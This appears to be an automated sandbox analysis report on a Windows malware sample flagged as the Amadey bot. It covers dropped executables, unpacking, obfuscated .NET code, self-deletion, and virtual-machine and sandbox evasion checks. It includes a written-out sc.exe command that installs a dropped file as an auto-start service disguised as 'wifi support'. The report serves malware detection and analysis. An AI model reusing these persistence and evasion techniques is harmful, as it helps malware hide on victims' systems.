Source:	Binary string: C:\xobar.pdb source: emPJndhuvA.exe, 00000000.00000000.240583523.0000000000413000.00000002.00020000.sdmp, emPJndhuvA.exe, 00000000.00000002.249053095.0000000000413000.00000002.00020000.sdmp, tiftjuh, 00000014.00000002.348231795.0000000000413000.00000002.00020000.sdmp, tiftjuh, 00000014.00000000.339134972.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: wsspicli.pdbk source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: !C:\tececa\sidexivuheje-vewa\xilo.pdb source: FD2B.exe, 0000001D.00000000.369230525.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: C:\xanofa_towefogeximazu14\pexezi.pdb source: 952.exe, 0000001E.00000000.377588142.0000000000413000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.411047580.0000000000415000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.412892690.000000000078E000.00000004.00000020.sdmp, vodibdaj.exe, 0000002C.00000002.417553975.0000000000415000.00000002.00020000.sdmp, vodibdaj.exe, 0000002C.00000000.410165613.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: msvcr100.i386.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: YD_C:\xanofa_towefogeximazu14\pexezi.pdb source: 952.exe, 0000001E.00000000.377588142.0000000000413000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.411047580.0000000000415000.00000002.00020000.sdmp, 952.exe, 0000001E.00000002.412892690.000000000078E000.00000004.00000020.sdmp, vodibdaj.exe, 0000002C.00000002.417553975.0000000000415000.00000002.00020000.sdmp, vodibdaj.exe, 0000002C.00000000.410165613.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdbk source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 0000001B.00000003.381514113.0000000005800000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 0000001B.00000003.381546423.0000000005806000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: C:\vuravetabig\lohatevexap\pulirip.pdb source: 3D67.exe, 00000019.00000000.361126589.0000000000413000.00000002.00020000.sdmp, 3D67.exe, 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: wkernel32.pdb( source: WerFault.exe, 0000001B.00000003.370138407.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.370897133.00000000035D5000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.369939315.00000000035D5000.00000004.00000001.sdmp
Source:	Binary string: ^$C:\vuravetabig\lohatevexap\pulirip.pdb source: 3D67.exe, 00000019.00000000.361126589.0000000000413000.00000002.00020000.sdmp, 3D67.exe, 00000019.00000002.372987587.0000000000413000.00000002.00020000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 0000001B.00000003.381484904.00000000056A1000.00000004.00000001.sdmp
Source:	Binary string: <wJC:\vop\voyik\vugibecibimin23_hafi\marayu\gahexa.pdb source: 2819.exe, 00000016.00000000.348562532.0000000000413000.00000002.00020000.sdmp, 2819.exe, 00000016.00000000.361993606.0000000000413000.00000002.00020000.sdmp, WerFault.exe, 0000001B.00000002.426093244.0000000005790000.00000002.00020000.sdmp
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 0000001B.00000003.370128323.00000000035CF000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.371827770.00000000035CF000.00000004.00000001.sdmp

Data Obfuscation:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Unpacked PE file: 29.2.FD2B.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\952.exe	Unpacked PE file: 30.2.952.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Unpacked PE file: 44.2.vodibdaj.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Unpacked PE file: 44.2.vodibdaj.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Unpacked PE file: 29.2.FD2B.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\952.exe	Unpacked PE file: 30.2.952.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Unpacked PE file: 44.2.vodibdaj.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 32.0.13E2.exe.c80000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 32.0.13E2.exe.c80000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 32.2.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })
Source: 32.0.13E2.exe.c80000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[] { typeof(IntPtr), typeof(Type) })

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00412CF4 push eax; ret	0_2_00412D12
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00403553 push ecx; ret	0_2_00403566
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00404989 push ecx; ret	0_2_0040499C
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00523C66 push esi; ret	0_2_00523C7C
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00523C01 push esi; ret	0_2_00523C7C
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 0_2_00533634 push es; iretd	0_2_00533640
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00401880 push esi; iretd	1_2_00401893
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_2_00402E94 push es; iretd	1_2_00402EA0
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Code function: 1_1_00402E94 push es; iretd	1_1_00402EA0
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_00453C66 push esi; ret	20_2_00453C7C
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_00453C01 push esi; ret	20_2_00453C7C
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 20_2_00463634 push es; iretd	20_2_00463640
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00401880 push esi; iretd	21_2_00401893
Source: C:\Users\user\AppData\Roaming\tiftjuh	Code function: 21_2_00402E94 push es; iretd	21_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\2819.exe	Code function: 22_2_00412CA4 push eax; ret	22_2_00412CC2
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00403803 push ecx; ret	25_2_00403816
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00404C39 push ecx; ret	25_2_00404C4C
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00412DF4 push eax; ret	25_2_00412E12
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00453C66 push esi; ret	25_2_00453C7C
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00453C01 push esi; ret	25_2_00453C7C
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 25_2_00463634 push es; iretd	25_2_00463640
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00401880 push esi; iretd	28_2_00401893
Source: C:\Users\user\AppData\Local\Temp\3D67.exe	Code function: 28_2_00402E94 push es; iretd	28_2_00402EA0
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_004139B0 push eax; ret	29_2_004139DE
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00565C53 push ss; retf	29_2_00565C66
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00563EE0 pushad ; ret	29_2_00563EE1
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_0056128B push ebx; ret	29_2_0056128C
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00564941 pushfd ; ret	29_2_00564A9F
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00564973 pushfd ; ret	29_2_00564A9F
Source: C:\Users\user\AppData\Local\Temp\FD2B.exe	Code function: 29_2_00593C00 push eax; ret	29_2_00593C2E
Source: C:\Users\user\AppData\Local\Temp\952.exe	Code function: 30_2_00533A79 push 0000002Bh; iretd	30_2_00533A7F

Source: C:\Users\user\Desktop\emPJndhuvA.exe

Code function: 0_2_0040A3DE LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_0040A3DE

Source: 13E2.exe.3.dr

Static PE information: 0xA22A793F [Sun Mar 19 11:55:43 2056 UTC]

Source: 5F8C.exe.3.dr	Static PE information: section name: .gizi
Source: 5F8C.exe.3.dr	Static PE information: section name: .bur
Source: 5F8C.exe.3.dr	Static PE information: section name: .wob
Source: 6B74.exe.3.dr	Static PE information: section name: .code
Source: 7E61.exe.3.dr	Static PE information: section name: .code
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name:
Source: 9054.exe.3.dr	Static PE information: section name: .T3QbYgM
Source: 9054.exe.3.dr	Static PE information: section name: .adata
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name:
Source: B1F6.exe.3.dr	Static PE information: section name: .MYBFBZj
Source: B1F6.exe.3.dr	Static PE information: section name: .adata

Source: B1F6.exe.3.dr	Static PE information: real checksum: 0x364786 should be: 0x36c629
Source: 6B74.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x5a2d0
Source: 7E61.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x58822
Source: 13E2.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x9011f
Source: 9054.exe.3.dr	Static PE information: real checksum: 0x361362 should be: 0x3775f1

Source: initial sample	Static PE information: section name: .text entropy: 7.2566886804
Source: initial sample	Static PE information: section name: entropy: 7.9969707961
Source: initial sample	Static PE information: section name: entropy: 7.91194455639
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22501727341
Source: initial sample	Static PE information: section name: .T3QbYgM entropy: 7.91938761659
Source: initial sample	Static PE information: section name: entropy: 7.99702918278
Source: initial sample	Static PE information: section name: entropy: 7.8989044999
Source: initial sample	Static PE information: section name: .rsrc entropy: 7.22814628185
Source: initial sample	Static PE information: section name: .MYBFBZj entropy: 7.91954324356

Source: 13E2.exe.3.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 13E2.exe.3.dr, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 32.0.13E2.exe.c80000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 32.0.13E2.exe.c80000.2.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 32.0.13E2.exe.c80000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 32.0.13E2.exe.c80000.3.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 32.2.13E2.exe.c80000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 32.2.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 32.0.13E2.exe.c80000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 32.0.13E2.exe.c80000.0.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'
Source: 32.0.13E2.exe.c80000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	High entropy of concatenated method names: '.cctor', 'H5FjWI2qLA', 'HImHehMQs', 'OdTftVXgR', 'fBSIsFavs', 'lVvm2jc63', 'QkuggS1X8', 'q9NYFG9Ki', 'Obt8dgGDf', '.ctor'
Source: 32.0.13E2.exe.c80000.1.unpack, A8rKktAdECkdokFCxq/I6976P597uOR8TGW3o.cs	High entropy of concatenated method names: 'PeB1xOW8Qv', 'eBxqprrF8', 'GOp1yJ6bgm', '.ctor', 'omeIBPs3wW', '.cctor', 'rvDbN6CZxdYVCYIgtN', 'LLL4M7JwFWGFTFjvp5', 'rHoI7BQHjq86lsr1Cq', 'uFomUGkb7RPvkdQrlH'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Creates files in the system32 config directory

Show sources

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Local\microsoft\IdentityCRL\production\tmpconfig.xml

Jump to behavior

Drops executables to the windows directory (C:\Windows) and starts them

Show sources

Source: unknown

Executable created and started: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\tiftjuh

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\B1F6.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\2819.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\tiftjuh	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\13E2.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\6B74.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FD2B.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\3D67.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\7E61.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\45F8.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\CA61.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5F8C.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe (copy)	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\9054.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\952.exe	File created: C:\Users\user\AppData\Local\Temp\vodibdaj.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\952.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe (copy)

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\952.exe

Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create bhlprady binPath= "C:\Windows\SysWOW64\bhlprady\vodibdaj.exe /d\"C:\Users\user\AppData\Local\Temp\952.exe\"" type= own start= auto DisplayName= "wifi support

Source: C:\Users\user\AppData\Local\Temp\952.exe

30_2_00409A6B

Hooking and other Techniques for Hiding and Protection:

Deletes itself after installation

Show sources

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\empjndhuva.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\tiftjuh:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Code function: 29_2_0040C2E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,FindAtomW,FindAtomW,LoadLibraryA,GetProcAddress,GetProcAddress,

29_2_0040C2E0

Source: C:\Windows\System32\svchost.exe

Registry key monitored for changes: HKEY_USERS.DEFAULT\Software\Classes

Jump to behavior

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\952.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\13E2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\bhlprady\vodibdaj.exe	Process information set: NOGPFAULTERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Query firmware table information (likely to detect VMs)

Show sources

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: emPJndhuvA.exe, 00000001.00000002.309869367.0000000000549000.00000004.00000020.sdmp

Binary or memory string: ASWHOOK

Found evasive API chain (may stop execution after checking locale)

Show sources

Source: C:\Users\user\AppData\Local\Temp\FD2B.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Checks if the current machine is a virtual machine (disk enumeration)

Show sources

Source: C:\Users\user\Desktop\emPJndhuvA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\emPJndhuvA.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
